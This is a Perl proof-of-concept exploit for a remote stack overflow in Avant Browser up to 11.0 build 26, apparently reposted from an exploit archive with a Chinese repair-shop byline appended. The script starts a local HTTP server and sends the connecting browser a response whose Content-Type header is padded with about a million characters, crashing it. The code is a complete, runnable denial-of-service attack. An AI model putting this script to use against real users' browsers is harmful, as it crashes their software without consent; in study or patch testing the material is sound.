Avant Browser <= 11.0 build 26 Remote Stack Overf

  #!/usr/bin/perl
  # avant browser (all version) remot stack overflow (crash)
  # discovered by data_sniper
  # usage:
  # connect from avant browser to http://127.0.0.1/
  use io::socket;
  my $sock=new io::socket::inet (
  listen    => 1,
  localaddr => 'localhost',
  localport => 80,
  proto     => 'tcp');
  die unless $sock;
  $huge="a" x 1034985;
  $|=1;
  print "==========================================================================\n";
  print "        avant browser (all version) remot stack overflow (crash)
  ";
  print "                 vulnerability discovered by data_sniper
  ";
  print "   greetz to:hacking master,dear devil,xodia,jass,all algerian hackers \n";
  print "               mail me at:alpha_3(at)hotmail(dot)com\n";
  print "==========================================================================\n";
  print"[+] http server started on port  80... \n";
  print"[+] try to explorer http://127.0.0.1/ \n";
  $z=$sock->accept();
  print"[+] connection accepted!\n";
  do
  {
  $ln=<$z>;
  print $ln;
  chomp $ln;
  if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
  {
  print"[>]sending evil packet\n";
  print $z " http/1.1 200 ok\r\nserver: bugs 3.1.02\r\ncontent-type:$huge\r\nconnection: close\r\n\r\n";
  close($z);
  exit;
  }
  } while (true);
 

文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
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